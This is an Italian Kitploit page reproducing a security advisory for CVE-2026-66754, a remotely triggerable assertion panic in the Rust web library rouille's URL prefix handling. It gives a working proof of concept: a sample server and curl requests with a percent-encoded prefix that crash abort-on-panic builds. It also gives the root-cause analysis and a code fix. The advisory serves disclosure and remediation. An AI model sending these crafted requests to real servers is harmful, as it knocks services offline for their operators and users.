Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille- — Avviso di sicurezza: Denial of Service remoto tramite asserzione raggiungibile nella gestione dei prefissi URL (rouille) | Kitploit
Strumenti/GitHubGitHub/theopaid/cve-2026-66754-remote-denial-of-service-via-reachable-assertion-in-url-prefix-handling-rouille-
Analisi delle VulnerabilitàSicurezza WebPaper e RicercaApprendimento e Formazione
GitHubtheopaid/cve-2026-66754-remote-denial-of-service-via-reachable-assertion-in-url-prefix-handling-rouille-

CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille-

Avviso di sicurezza: Denial of Service remoto tramite asserzione raggiungibile nella gestione dei prefissi URL (rouille)

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
23 giorni faNon ancora revisionato

Advisory di sicurezza: Denial of Service remoto tramite assert raggiungibile nella gestione dei prefissi URL (rouille)

ID CVE assegnato: CVE-2026-66754

Sommario

Request::remove_prefix verifica l'URL percent-decodificato ma esegue l'assert su quello grezzo. Una richiesta il cui percorso decodificato inizia con il prefisso mentre il percorso grezzo non lo fa supera il test e fallisce l'assert. È sufficiente percent-encodare un carattere del prefisso.

In una build predefinita il panic viene catturato e diventa un 500. In una build con panic = "abort" non c'è nulla che lo catturi, e una singola GET non autenticata termina il processo del server.

Versioni interessate

Repo URL: https://github.com/tomaka/rouille

Prima versione interessata0.1.6 (2016-09-22), la release che ha introdotto remove_prefix
Ultima versione interessata3.6.2 (2023-04-24), la release attuale
Non interessate0.1.5 e precedenti, che non hanno remove_prefix
Corretta innessuna versione corretta al momento della scrittura

La funzione è invariata in ogni release di questo intervallo e nel master attuale. Le applicazioni sono interessate se chiamano Request::remove_prefix, che è la modalità che rouille documenta per servire file statici sotto un prefisso URL (src/assets.rs righe 66-75, e src/lib.rs righe 804-811).

Gravità

CWE-617 (Assert raggiungibile), che porta a CWE-248 (Eccezione non catturata).

Punteggio base CVSS 4.0 8.2 (Alto) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Modello di minaccia

Un client remoto e non autenticato che può inviare una richiesta GET. Nessuna credenziale e nessuna interazione utente.

panic = "abort" non è l'impostazione predefinita di Cargo, ma è una scelta comune per il profilo di release per ottenere binari più piccoli e overhead minore. rouille dipende dall'unwinding per la disponibilità, poiché Server::process si affida a panic::catch_unwind alla riga 602 di src/lib.rs per convertire i panic degli handler in un 500. Questa dipendenza non è documentata.

Causa principale

rouille/src/lib.rs, righe 813-822:

root@kitploit:~
813      pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814          if !self.url().starts_with(prefix) {
815              return None;
816          }
817  
818          // TODO: url-encoded characters in the prefix are not implemented
819          assert!(self.url.starts_with(prefix));
820          Some(Request {
821              method: self.method.clone(),
822              url: self.url[prefix.len()..].to_owned(),

La riga 814 chiama self.url(), che esegue la percent-decoding. La riga 819 esegue l'assert su self.url, il campo grezzo, e la riga 822 suddivide lo stesso campo grezzo. Le due rappresentazioni divergono quando il percorso contiene un carattere di escape percentuale all'interno del prefisso:

Lo stesso disallineamento significa anche che remove_prefix non instrada mai un percorso legittimamente percent-encoded, quindi il bug di correttezza e il bug di disponibilità condividono una correzione.

Proof of Concept

Passaggio 1. Avviare un server utilizzando l'idioma del prefisso documentato.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8003", |request| {
        if let Some(r) = request.remove_prefix("/static") {
            return rouille::match_assets(&r, ".");
        }
        Response::text("home")
    });
}

Passaggio 2. Inviare una richiesta benigna e una richiesta equivalente con s percent-encoded. --path-as-is impedisce a curl di normalizzare il percorso.

root@kitploit:~
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'

Risultato in una build predefinita. La prima è un normale 404 per un file mancante, la seconda è un panic trasformato in 500:

root@kitploit:~
404
500

con questo su stderr:

root@kitploit:~
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)

Passaggio 3. Ricompilare lo stesso programma con abort-on-panic e ripetere la seconda richiesta.

root@kitploit:~
[profile.release]
panic = "abort"
root@kitploit:~
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'

Risultato. Il processo termina con SIGABRT (codice di uscita 134) e il server smette di rispondere. Una richiesta, nessuna autenticazione, perdita totale della disponibilità.

Impatto

Nelle build con panic = "abort", una singola richiesta non autenticata ferma il server. Nelle build predefinite, le richieste il cui percorso contiene un carattere di escape percentuale all'interno del prefisso restituiscono 500 invece di essere servite, quindi il routing è anche errato per i client legittimi.

Si noti che il panic non può avvelenare il mutex su cui Server::process chiama unwrap al di fuori di catch_unwind alle righe 643 e 649 di src/lib.rs, perché remove_prefix clona solo l'Arc e non mantiene mai una guardia. Nelle build con unwinding il thread worker si riprende in modo pulito.

Rimedio

Eseguire il confronto e lo slicing sulla stessa rappresentazione. La versione corretta più semplice confronta e suddivide l'URL grezzo:

root@kitploit:~
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
    if !self.url.starts_with(prefix) {
        return None;
    }
    Some(Request {
        url: self.url[prefix.len()..].to_owned(),
        ..
    })
}

Se si intende mantenere il comportamento del confronto decodificato, decodificare l'URL una volta, rimuovere il prefisso dalla stringa decodificata e ri-codificare il resto invece di suddividere il campo grezzo.

In ogni caso l'assert! dovrebbe essere rimosso. Una libreria non dovrebbe terminare il processo su input controllato dall'attaccante. Documentare che rouille richiede panic = "unwind", o rimuovere la dipendenza da catch_unwind per la correttezza, sarebbe d'aiuto.

Scarica lo strumento
URL grezzourl() decodificatoRiga 814Riga 819
/static/x/static/xsuperasupera
/%73tatic/x/static/xsuperafallisce
/stati%63/x/static/xsuperafallisce